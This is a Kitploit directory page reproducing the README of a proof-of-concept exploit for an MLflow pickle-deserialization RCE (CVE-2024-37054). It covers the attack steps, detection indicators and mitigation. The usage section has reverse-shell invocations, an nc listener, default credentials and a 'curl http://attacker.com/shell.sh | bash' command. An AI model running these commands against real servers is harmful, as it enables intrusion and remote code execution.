Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-37054 — Proof-of-concept exploit for CVE-2024-37054, a pickle deserialization RCE in MLflow Tracking Server. Authenticated attackers can overwrite model artifacts to achieve remote code execution. Includes detection and mitigation guidance. | Kitploit
Tools/GitHubGitHub/ben-slates/cve-2024-37054
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubben-slates/cve-2024-37054

CVE-2024-37054

Proof-of-concept exploit for CVE-2024-37054, a pickle deserialization RCE in MLflow Tracking Server. Authenticated attackers can overwrite model artifacts to achieve remote code execution. Includes detection and mitigation guidance.

View Repository
5453 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-37054 — MLflow Pickle Deserialization RCE

Python CVE CVSS Affected License

Proof-of-concept exploit for a critical pickle deserialization vulnerability in MLflow Tracking Server, enabling authenticated remote code execution.

⚠️ For educational and authorized security testing only. Do not use against systems you do not own or have explicit written permission to test.


Vulnerability Overview

FieldValue
CVE IDCVE-2024-37054
CVSS Score8.8 (HIGH)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected VersionsMLflow < 2.14.3
Patched VersionMLflow ≥ 2.14.3
Vulnerability TypeCWE-502: Deserialization of Untrusted Data
Attack VectorNetwork
Privileges RequiredLow (valid credentials)
User InteractionNone

Description

MLflow Tracking Server deserializes model artifacts via Python's pickle module when loading models for inference. An authenticated attacker can overwrite the python_model.pkl artifact in MLflow's artifact repository with a malicious pickle payload. When the model is subsequently loaded (e.g., during a prediction request), the payload is deserialized, executing arbitrary code on the server.

Prerequisites for exploitation:

  • Network access to the MLflow Tracking Server
  • Valid MLflow credentials (default or otherwise)
  • Write access to artifacts (granted to all authenticated users)

Impact

Successful exploitation yields remote code execution at the privilege level of the MLflow server process, which may lead to full system compromise, data exfiltration, lateral movement, or persistent access.


How the Exploit Works

  1. Model Registration — A legitimate training dataset is uploaded to create a new MLflow run and register a model version with standard artifacts.
  2. Artifact Overwrite — The python_model.pkl artifact is replaced with a crafted pickle payload via PUT /api/2.0/mlflow-artifacts/artifacts/....
  3. Deserialization Trigger — A prediction request causes MLflow to call pickle.load() on the compromised artifact.
  4. Code Execution — The pickle's __reduce__ method invokes os.system(), executing the attacker's command.

The payload uses os.system() (a C built-in) rather than cloudpickle to maximize cross-version compatibility and avoid Python version-specific bytecode issues.


Installation

Requirements: Python 3.7+, requests

root@kitploit:~
git clone https://github.com/ben-slates/CVE-2024-37054
cd CVE-2024-37054

Usage

root@kitploit:~
# Start a listener
nc -lvnp 4444

# Run the exploit
python3 poc.py <TARGET_URL> <MLFLOW_URL> <LHOST> <LPORT>

Examples

root@kitploit:~
# Default credentials, basic reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444

# Custom MLflow credentials
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --mlflow-creds admin:MySecretPass123

# App login + MLflow credentials
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --mlflow-creds admin:password \
    --app-username admin \
    --app-password admin123

# Custom command instead of reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --cmd "curl http://attacker.com/shell.sh | bash"

# Target specific experiment, increase delay for slow servers
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --experiment-id 1 --delay 5

# Verbose output
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 -v

Options

ArgumentDescription
targetTarget application URL
mlflowMLflow Tracking Server URL
lhostAttacker host for reverse shell callback
lportAttacker port for reverse shell callback
--mlflow-creds USER:PASSMLflow credentials (default: admin:password)
--app-usernameApplication login username
--app-passwordApplication login password
--app-login-urlLogin endpoint path
--upload-urlUpload endpoint path
--predict-urlPrediction endpoint path
--experiment-id IDTarget a specific experiment ID
--delay SECONDSDelay between steps (default: 2s)
--cmd COMMANDCustom command to execute
--verbose / --quietVerbosity control
--no-colorDisable colored output

Detection

Network Indicators

  • PUT requests to /api/2.0/mlflow-artifacts/artifacts/ endpoints
  • Unexpected modification timestamps on python_model.pkl
  • POST /api/2.0/mlflow/runs/search followed immediately by artifact modifications

Host Indicators

  • Unexpected os.system() calls from MLflow processes
  • Python subprocesses spawned from MLflow worker processes
  • Outbound connections from the MLflow server to unknown hosts

Log Queries

root@kitploit:~
# Artifact modification in access logs
grep "PUT.*python_model.pkl" /var/log/mlflow/access.log

# File integrity monitoring
auditctl -w /opt/mlflow/artifacts/ -p wa -k mlflow_artifacts

Mitigation

Immediate:

  • Upgrade MLflow to 2.14.3 or later
  • Rotate any default or weak credentials
  • Restrict network access to MLflow API endpoints
  • Audit artifact modification history for signs of tampering

Long-term:

  • Implement artifact signing and integrity verification before loading models
  • Use model signature enforcement and restrict pickle-based model flavors where possible
  • Enable MLflow audit logging and alert on unexpected artifact writes

Tested Environments

  • MLflow 2.14.1 — Ubuntu 22.04, Python 3.10
  • MLflow 2.12.0 — Docker, Python 3.9
  • Various deployment configurations: local, Docker, Kubernetes

References

  • NVD — CVE-2024-37054
  • MLflow Security Advisory
  • CWE-502: Deserialization of Untrusted Data
  • MLflow Documentation — Model Registry

Disclaimer

This tool is intended solely for:

  • Security researchers studying deserialization vulnerabilities
  • Penetration testers operating under written authorization
  • System administrators auditing their own MLflow deployments
  • Educational use in controlled lab environments

Do not use this tool on any system you do not own or have explicit written permission to test. The author assumes no liability for misuse.


License

MIT — see LICENSE for details.


Contact

📧 [email protected]
🐛 Report an issue

Download Tool